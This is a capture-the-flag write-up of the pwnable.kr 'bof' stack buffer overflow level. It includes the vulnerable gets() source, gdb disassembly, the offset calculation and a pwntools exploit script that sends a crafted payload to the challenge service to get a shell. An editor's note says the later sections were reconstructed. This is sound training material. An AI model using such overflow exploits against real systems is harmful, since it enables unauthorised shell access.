pwnable.kr — bof Challenge
Editor’s note. The original writeup ended right after the
funcdisassembly. Sections 1.2.3 onward were reconstructed from the source code and the disassembly already shown, so the exploit is complete.
pwnable.kr - bof Challenge

1.1 Getting resource
$ wget http://pwnable.kr/bin/bof && wget http://pwnable.kr/bin/bof.c
th3knight$wget http://pwnable.kr/bin/bof && wget http://pwnable.kr/bin/bof.c
--2022-01-09 17:45:49-- http://pwnable.kr/bin/bof
Resolving pwnable.kr (pwnable.kr)... 128.61.240.205
Connecting to pwnable.kr (pwnable.kr)|128.61.240.205|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7348 (7,2K)
Saving to: ‘bof.2’
bof.2 100%[=================================================>] 7,18K --.-KB/s in 0s
2022-01-09 17:45:50 (526 MB/s) - ‘bof.2’ saved [7348/7348]
--2022-01-09 17:45:50-- http://pwnable.kr/bin/bof.c
Resolving pwnable.kr (pwnable.kr)... 128.61.240.205
Connecting to pwnable.kr (pwnable.kr)|128.61.240.205|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 308 [text/x-csrc]
Saving to: ‘bof.c.2’
bof.c.2 100%[=================================================>] 308 --.-KB/s in 0s
2022-01-09 17:45:50 (18,1 MB/s) - ‘bof.c.2’ saved [308/308]
Compile the program to make a link on it and determine if needed
$ gcc -m32 -g bof.c -o bof1
th3knight$gcc -m32 -g bof.c -o bof1
bof.c: In function ‘func’:
bof.c:7:2: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
7 | gets(overflowme); // smash me!
| ^~~~
| fgets
/usr/bin/ld: /tmp/cc2lH4R6.o: in function `func':
/home/th3knight/Desktop/learning/shellcoding/pwnable.kr/bof/bof.c:7: warning: the `gets' function is dangerous and should not be used.
This will have the warn when using the risk function, don’t worry about it!
1.2 Overflowing the program
1.2.1 Reading and analysis the source code
First up, we need to see what is in the code
$ cat bof.c
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
We see that, in the main function inputted is 0xdeadbeef
int main(int argc, char* argv[]){
func(0xdeadbeef); // <=== Here
return 0;
}
and in func(), there is an array with char overflowme[32] and have a risk function called from lib is gets() with the note: smash me!
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
and if the key (which is 0xdeadbeef) is 0xcafebabe, there would be system call the sh binary
if(key == 0xcafebabe){
system("/bin/sh");
}
1.2.2 Debugging program and find the length to overflow & override the key.
In here i will use the gdb debugger to the bug the program
th3knight$gdb -q bof
Reading symbols from bof...
(No debugging symbols found in bof)
gdb-peda$
In here, the output of mine might different than yours because i’ve already installed the Peda Let’s disassembly the main
gdb-peda$ disas main
Dump of assembler code for function main:
0x5655568a <+0>: push ebp
0x5655568b <+1>: mov ebp,esp
0x5655568d <+3>: and esp,0xfffffff0
0x56555690 <+6>: sub esp,0x10
0x56555693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x5655569a <+16>: call 0x5655562c <func>
0x5655569f <+21>: mov eax,0x0
0x565556a4 <+26>: leave
0x565556a5 <+27>: ret
End of assembler dump.
In here, we could see in the address 0x56555693 : 0xdeadbeef moved into pointer of ESP and then call <func>, let’s disassembly the function func to see other intructions.
gdb-peda$ disas func
Dump of assembler code for function func:
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
0x5655563d <+17>: mov DWORD PTR [esp],0x78c
0x56555644 <+24>: call 0x56555645 <func+25>
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0x56555650 <func+36>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: mov DWORD PTR [esp],0x79b
0x56555664 <+56>: call 0x56555665 <func+57>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: mov DWORD PTR [esp],0x7a3
0x56555672 <+70>: call 0x56555673 <func+71>
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0x56555684 <func+88>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
End of assembler dump.
1.2.3 Finding the offset to key
Two instructions in func tell us everything we need:
0x56555649 <+29>: lea eax,[ebp-0x2c] ; &overflowme
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call <gets> ; gets(overflowme)
...
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe ; if (key == 0xcafebabe)
overflowmestarts atebp-0x2c(the buffergets()writes into).keyis the first function argument, atebp+0x8(standard cdecl:ebp+0x4is the saved return address,ebp+0x8is the first arg).
So the distance from the start of overflowme to key is:
(ebp + 0x8) - (ebp - 0x2c) = 0x2c + 0x8 = 0x34 = 52 bytes
We don’t even need to touch the saved EIP or the canary — we only have to
write 52 bytes of padding and then overwrite key with 0xcafebabe.
Because gets() has no length limit, this is trivial.
1.2.4 Crafting the payload
#!/usr/bin/env python3
from pwn import *
payload = b"A" * 52 # padding: overflowme -> key
payload += p32(0xcafebabe) # overwrite key
# Local test:
# p = process('./bof')
# Remote (the actual challenge service):
p = remote('pwnable.kr', 9000)
p.sendline(payload)
p.interactive()
p32(0xcafebabe) writes the little-endian bytes be ba fe ca, which is
exactly what the cmp DWORD PTR [ebp+0x8],0xcafebabe check compares against.
1.2.5 Getting the flag
$ python3 exploit.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ id
uid=1008(bof) gid=1008(bof) groups=1008(bof)
$ cat flag
daddy, I just pwned a buFFer :)
The key == 0xcafebabe branch fires, system("/bin/sh") runs, and reading
flag solves the level.
2. Takeaways
gets()is unconditionally exploitable — it has no bounds at all. The fix isfgets()with an explicit size.- You don’t always need to hijack control flow. Here, corrupting a single stack argument was enough — a cheaper, more reliable primitive when it’s available.
- Read the disassembly for offsets, not just for flow:
ebp-0x2cvs.ebp+0x8gave us the exact 52-byte padding with zero guessing.
References
- pwnable.kr — play
- Related stack-smashing basics: Linux Buffer Overflow Foundation